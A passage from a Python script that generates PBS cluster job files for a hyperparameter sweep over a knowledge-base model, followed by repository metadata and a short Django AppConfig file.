Time of each job is decided by one of the arguments to the task script. 'timing_key' in the code below should be set to the argument name that decides the time. 'timing' list contains the time for each job. \n \
NOTE: you may have to modify the last multi node job manually if total number of tasks to be run is not a multiple of args.num_process_per_job*args.num_task_per_process. \n\
"
import itertools
import argparse
import sys
import os
from time import sleep
import random
import stat
import copy
parser = argparse.ArgumentParser(description = description_str)
parser.add_argument('-num_task_per_process',default=1,type=int, help='num tasks to run in parallel in each process', required=True)
parser.add_argument('-num_process_per_job',default=6,type=int, help='num processes to be run in each multinode job', required= True)
parser.add_argument('-task_script',required=True,type=str, help='path to the task script')
parser.add_argument('-template', default='single_run.sh', required=False, type=str)
parser.add_argument('-multi_header', default='multinode_header.sh', required=False, type=str)
parser.add_argument('-multi_template', default='multinode_run.sh', required=False, type=str)
parser.add_argument('-single_job_file',default='all_single_jobs.sh',type=str, required=False)
parser.add_argument('-multi_job_file',default='all_multi_jobs.sh',type=str, required = False)
parser.add_argument('-jobs_dir',default='multinodejobs',type=str,help='directory to be created where all generated files/scripts will reside')
parser.add_argument('-job_name',default='mnj',type=str)
parser.add_argument('-selectos',default=' ',type=str)
parser.add_argument('-num_seq',default = 1,type=int, help='how many blocks in sequence one after the other?')
args = parser.parse_args(sys.argv[1:])
working_dir = os.path.dirname(os.path.join(os.getcwd(),args.task_script))
ack_dir = os.path.join(os.getenv('PWD'),args.jobs_dir)
######################
#To be changed as per the input arguments of the task_script ####
# In the demo example, dummy_task_script.py takes three input arguments named input1, input2 and input3. Timing for each job has to be decided by timing_key parameter
#module_load_str = 'module load apps/pythonpackages/3.6.0/pytorch/0.4.1/gpu'
module_load_str = 'module load apps/anaconda3/4.6.9'
def get_functional_setting_string(log_str, this_settings, base_logs, run_id):
run_dir = '{}/run_{}/exp_{}'.format(base_logs, run_id, log_str)
return '--dir {}'.format(run_dir)
def get_log_file_path(log_str, this_settings, base_logs,run_id):
run_dir = '{}/run_{}/exp_{}'.format(base_logs, run_id, log_str)
try:
os.makedirs(os.path.join(working_dir,run_dir))
except:
pass
#
return os.path.join(run_dir,'_LOGS')
num_runs = 3
folds=5
dataset='fb15k'
supervision="semi"
unlabelled_training_data_path='../logs/{}/sm_with_id.data.pkl'.format(dataset)
kldiv_dist_file='../data/{}/labelled_train/label_distribution_y6.yml'.format(dataset)
base_model_file='../dumps/{}_distmult_dump_norm.pkl'.format(dataset)
exclude_default = 1
base_logs = 'cross_val/{}/{}'.format(dataset,supervision)
common_setting_string = '--folds {} --labelled_training_data_path {} --unlabelled_training_data_path {} --num_epochs 20 --batch_size 2048 --num_templates 6 --each_input_size 7 --supervision {} --label_distribution_file {} --exclude_default {}'.format(folds, base_logs, unlabelled_training_data_path, supervision, kldiv_dist_file, exclude_default)
#neg_reward = [-0.5, -1, -2]
#rho = [0.01, 0.05, 0.1, 0.125, 0.25, 0.5]
#config = ['configs/fb15k_config_90_40.yml', 'configs/fb15k_config_7_4.yml']
#kldiv_lambda = [0, 1]
neg_reward = [-1, -2]
rho = [0.1, 0.125]
config = ['configs/fb15k_config.yml']
kldiv_lambda = [0, 1]
exclude_t_ids = ['2 5']
hidden_unit_list = ['90 40','7 5 5 3']
default_value = [0, -0.05, -0.1]
#
names = ['neg_reward','rho','kldiv_lambda','config','exclude_t_ids','hidden_unit_list','default_value']
all_params = [neg_reward,rho, kldiv_lambda, config,exclude_t_ids,hidden_unit_list,default_value]
short_names = ['n','r','k','c','ex','hul','df']
assert len(names) == len(all_params)
assert len(all_params) == len(short_names)
timing_key = 'hidden_unit_list'
timing = [10]*len(hidden_unit_list)
#assert(len(globals()[timing_key]) == len(timing))
assert len(all_params[names.index(timing_key)]) == len(timing),'len of timing should be same as len of timing_key param'
timing_dict = dict(zip(all_params[names.index(timing_key)],timing))
all_jobs = list(itertools.product(*all_params))
additional_names = ['train_ml','eval_ml']
additional_job_list = [
[0,0],
[1,1]
]
names = names + additional_names
additional_short_names = ['tml','eml']
short_names = short_names + additional_short_names
assert len(names) == len(short_names)
name2short = dict(zip(names,short_names))
all_jobs = list(itertools.product(all_jobs,additional_job_list))
sorted_names = copy.deepcopy(names)
sorted_names.sort()
jobs_list = {}
sorted_names = copy.deepcopy(names)
all_settings = {}
sorted_names.sort()
job_name_to_time = {}
################################
time_header ='#PBS -l walltime={}:00:00'
#PBS -q workshop
if not os.path.exists(ack_dir):
os.makedirs(ack_dir)
slurm_cmd = open(args.template).read()+'\n'
pid_closing = 'for pid in ${pids[*]}; do \n \
wait $pid \n\
done\n'
#hack_str = ". /etc/profile.d/modules.sh"
hack_str = " "
multi_header = open(args.multi_header).read()
multi_header = multi_header.replace('${selectos}',args.selectos)
multi_run_script = open(args.multi_template).read()
multi_run_script = multi_run_script.replace('${exp_dir}',ack_dir)
hpcpy = '$HOME/anaconda3/bin/python'
base_cmd = '{} {} {}'.format(hpcpy, os.path.join(os.getcwd(),args.task_script), common_setting_string)
for i, setting in enumerate(all_jobs):
setting = list(itertools.chain(*setting))
name_setting = {n: s for n, s in zip(names, setting)}
setting_list = ['--%s %s' % (name, str(value)) for name, value in name_setting.items() if value is not None]
setting_str = ' '.join(setting_list)
log_str = '_'.join(['%s-%s' % (name2short[n], str(name_setting[n]).replace('/','.').replace(' ','.')) for n in sorted_names])
jobs_list[log_str] = setting_str
job_name_to_time[log_str] = timing_dict[name_setting[timing_key]]
all_settings[log_str] = name_setting
sorted_job_names = list(job_name_to_time.keys())
sorted_job_names.sort(key=lambda x: job_name_to_time[x], reverse=True)
print('Running %d jobs' % (len(jobs_list)))
hpcfile = os.path.join(args.jobs_dir, args.single_job_file)
fh = open(hpcfile,'w')
#fhdair = open(os.path.join(args.jobs_dir, args.single_job_file+'_dair.sh'),'w')
mode = stat.S_IROTH | stat.S_IRWXU | stat.S_IXOTH | stat.S_IRGRP | stat.S_IXGRP
log_str_single_job_file = os.path.join(args.jobs_dir, args.single_job_file+'_logstr.txt')
log_str_file = open(log_str_single_job_file,'w')
count = 0
jcount = 0
mjcount = 0
fhj = None
#for log_str, setting_str in jobs_list.items():
for run_id in range(1,(num_runs+1)):
for log_str in sorted_job_names:
setting_str = jobs_list[log_str]
functional_setting_string = get_functional_setting_string(log_str, all_settings[log_str], base_logs, run_id)
log_file_path = get_log_file_path(log_str, all_settings[log_str], base_logs, run_id)
bash_cmd = '{} {} {}'.format(base_cmd, setting_str, functional_setting_string)
if count % args.num_task_per_process == 0:
if fhj is not None:
print(pid_closing, file = fhexp)
print('touch {}/JACK_{}'.format(ack_dir,jcount), file = fhexp)
fhexp.close()
print('bash {}'.format(os.path.basename(tfname)),file=fhj)
fhj.close()
os.chmod(tfname,mode)
os.chmod(tfname_job,mode)
print('qsub {}'.format(os.path.basename(tfname_job)), file = fh)
jcount += 1
if jcount % args.num_process_per_job == 0:
print("Creating new multi job. count: {}, jcount: {}, mjcount: {}".format(count, jcount, mjcount))
fhmjname = os.path.join(args.jobs_dir, 'multi_job_'+str(mjcount)+'.sh')
fhmj = open(fhmjname, 'w')
header = '#PBS -N {}_mn_{}_{}'.format(args.job_name,mjcount,log_str[:10])
print(header, file = fhmj)
print(time_header.format(job_name_to_time[log_str]),file=fhmj)
print(multi_header,file = fhmj)
print('count={}'.format(jcount),file = fhmj)
print(multi_run_script, file = fhmj)
fhmj.close()
os.chmod(fhmjname, mode)
mjcount += 1
tfname = os.path.join(args.jobs_dir,'exp_'+str(jcount)+'.sh')
tfname_job = os.path.join(args.jobs_dir,'job_'+str(jcount)+'.sh')
fhj = open(tfname_job,'w')
fhexp = open(tfname,'w')
this_time_header = time_header.format(job_name_to_time[log_str])
header = '#PBS -N job_{}_{}\n{}\n{}\n'.format(jcount,log_str[:10],this_time_header,slurm_cmd)
print(header, file = fhj)
print(hack_str, file = fhexp)
print(module_load_str, file = fhexp)
print('cd {}'.format(working_dir), file= fhexp)
print('rm {}/JACK_{}'.format(ack_dir,jcount), file = fhexp)
#
print("count: {}, jcount: {}, mjcount: {}".format(count, jcount, mjcount))
print('{} > {} 2>&1 &'.format(bash_cmd,log_file_path), file =fhexp)
print("pids[{}]=$!".format(count%args.num_task_per_process),file = fhexp)
print('{} {}'.format(count, log_str), file = log_str_file)
count += 1
if fhj is not None:
print("Closing last job")
print(pid_closing, file = fhexp)
print('touch {}/JACK_{}'.format(ack_dir,jcount), file = fhexp)
fhexp.close()
print('bash {}'.format(os.path.basename(tfname)),file=fhj)
fhj.close()
os.chmod(tfname,mode)
os.chmod(tfname_job,mode)
print('qsub {}'.format(os.path.basename(tfname_job)), file = fh)
#jcount += 1
if jcount % args.num_process_per_job == 0:
print("Writing last multi job")
fhmjname = os.path.join(args.jobs_dir, 'multi_job_'+str(mjcount)+'.sh')
fhmj = open(fhmjname, 'w')
header = '#PBS -N {}_mn_{}_{}\n{}\n'.format(args.job_name,mjcount,log_str[:10],slurm_cmd)
print(header, file = fhmj)
print(multi_header,file = fhmj)
print('count={}'.format(jcount),file = fhmj)
print(multi_run_script, file = fhmj)
fhmj.close()
os.chmod(fhmjname, mode)
mjcount += 1
fh.close()
os.chmod(hpcfile,mode)
log_str_file.close()
all_multi_file_name = os.path.join(os.getcwd(),args.jobs_dir, args.multi_job_file)
fh = open(all_multi_file_name,'w')
for i in range(mjcount):
print('qsub multi_job_{}.sh'.format(i),file=fh)
fh.close()
os.chmod(all_multi_file_name, mode)
print("Finished")
|
[
"csz178057@iitd.ac.in"
] |
csz178057@iitd.ac.in
|
7dd33fa8cbb4f9307c6ff4376dbc9b045e9ede73
|
f09d92eabdd606cbd306e782867558d6d67e1cd4
|
/contentsummary/apps.py
|
9dbdbeac6b747bc3da47c08731f18aee3d0e974e
|
[
"MIT"
] |
permissive
|
Bobstin/itcsummary
|
c326267773b8be2d51d2580b9017476f1e703c15
|
259d8f64e415a1c7cbc926752c717e307c09953f
|
refs/heads/master
| 2023-07-29T13:41:05.233976
| 2021-02-27T13:37:10
| 2021-02-27T13:37:10
| 108,500,887
| 0
| 0
| null | 2021-09-22T17:39:19
| 2017-10-27T04:55:28
|
HTML
|
UTF-8
|
Python
| false
| false
| 103
|
py
|
from django.apps import AppConfig
class ContentsummaryConfig(AppConfig):
name = 'contentsummary'
|
[
"justinakahn@gmail.com"
] |
justinakahn@gmail.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.